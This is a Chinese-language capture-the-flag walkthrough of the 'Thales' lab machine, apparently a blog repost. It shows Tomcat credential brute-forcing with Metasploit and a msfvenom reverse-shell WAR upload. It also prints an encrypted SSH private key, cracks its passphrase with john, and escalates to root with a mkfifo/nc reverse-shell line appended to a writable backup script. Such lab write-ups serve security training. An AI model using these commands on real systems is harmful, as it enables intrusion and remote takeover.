Thales.md
知识点:
- 爆破tomcat密码
- msf工具的使用
- ssh私钥爆破
- 反弹shell
靶场环境
靶场下载地址:
kali IP:192.168.2.23
靶机地址:192.168.2.12
信息收集
使用arp-scan进行主机存活扫描:

扫描到存活主机192.168.2.12
使用nmap进行更详细的端口和服务扫描:
nmap -sV -p- 192.168.2.12 -O -v

- 开放22端口,开启ssh服务,版本是OpenSSH 7.6p1 Ubuntu 4ubuntu0.5。
- 开放8080端口,开启http服务,具体是Apache Tomcat 9.0.52
- 操作系统版本为Linux,内核版本可能在4.X到5.X之间
nmap扫一下系统有没有漏洞:

发现存在一个Slowloris DOS攻击漏洞,CVE-2007-6750
目标服务器上可能存在一些文件夹和路径:
| http-enum:
| /examples/: Sample scripts
| /manager/html/upload: Apache Tomcat (401 )
| /manager/html: Apache Tomcat (401 )
|_ /docs/: Potentially interesting folder
访问http://192.168.2.12:8080,可以看到该主机开放了一个Tomcat,版本为9.0.52:

direarch扫描目录信息:

访问http://192.168.2.12可以看到一个登录页面:

访问http://192.168.2.12:8080/examples/是一些目录

漏洞利用
爆破tomcat用户和密码
打开msf:
┌──(root㉿kali)-[~]
└─# msfconsole
msf6 > search login tomcat
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/tomcat_mgr_login normal No Tomcat Application Manager Login Utility
msf6 > use 0
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.2.12
RHOSTS => 192.168.2.12
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
稍等片刻,得到用户名和密码:tomcat:role1

登录:


发现一个可以上传文件的地方,上传的格式是war格式,可以判断出这是一个java的后端,可以在这边上传一个shell:

使用msfvenom创建一个反弹shell的木马:
┌──(root㉿kali)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.23 LPORT=4501 -f war -o revshell.war
Payload size: 1106 bytes
Final size of war file: 1106 bytes
Saved as: revshell.war

选择刚刚创建好的木马进行上传:

在kali上开启监听:
nc -lvvp 4501
然后点/reshell,运行一下文件

就监听成功了:

用python做一个交互式的shell:
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@miletus:/$
简单看一下有没有什么flag:

在/home/thales目录下有两个txt文件和一个ssh文件:

访问user.txt权限不够
tomcat@miletus:/home/thales$ cat notes.txt
cat notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
翻译:
我为你准备了备份剧本。该脚本位于“/usr/local/bin/backup.sh”目录中。祝好运。
看下.ssh/id_rsa,是一个rsa私钥,先存下来,一会拿去john爆破:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF
ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----

ssh私钥爆破
使用john进行爆破:
将SSH私钥文件中的密钥转换成了 John the Ripper 可以理解的格式,然后用john对密码进行爆破,使用的是/usr/share/wordlists/rockyou.txt字典
解压/usr/share/wordlists下的ockyou.txt.gz:
┌──(root㉿kali)-[/usr/share/wordlists]
└─# gunzip /usr/share/wordlists/rockyou.txt.gz


┌──(root㉿kali)-[~/Desktop]
└─# ssh2john '/root/Desktop/ssh.txt' > key.txt
┌──(root㉿kali)-[~/Desktop]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt '/root/Desktop/key.txt'
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06 (/root/Desktop/ssh.txt)
1g 0:00:00:01 DONE (2024-03-08 02:04) 0.7874g/s 2251Kp/s 2251Kc/s 2251KC/s vodka1420..vodka0260
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

密码:vodka06
切换到thales用户,输入密码vodka06,查看user.txt,就可以获得flag:
tomcat@miletus:~$ su thales
su thales
Password: vodka06
thales@miletus:/opt/tomcat$ cd /home
cd /home
thales@miletus:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Aug 15 2021 .
drwxr-xr-x 24 root root 4096 Oct 14 2021 ..
drwxr-xr-x 6 thales thales 4096 Oct 14 2021 thales
thales@miletus:/home$ cd thales
cd thales
thales@miletus:~$ ls
ls
notes.txt user.txt
thales@miletus:~$ cat user.txt
cat user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4

提权
看一下之前作者留下的线索,/usr/local/bin/backup.sh藏了什么好东西,瞅一眼权限,可以编辑:

看一眼内容,这个脚本会将 /opt/tomcat/ 目录备份到 /var/backups 目录下,并生成一个以当前星期几和主机名命名的 .tgz 归档

可以在里面插入一行反弹shell的命令:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.9 5555 >/tmp/f" >> backup.sh
等一会之后就可以反弹成功了,查看flag:

本文来自博客园,作者:imawuya,转载请注明原文链接:https://www.cnblogs.com/imawuya/p/18061335

浙公网安备 33010602011771号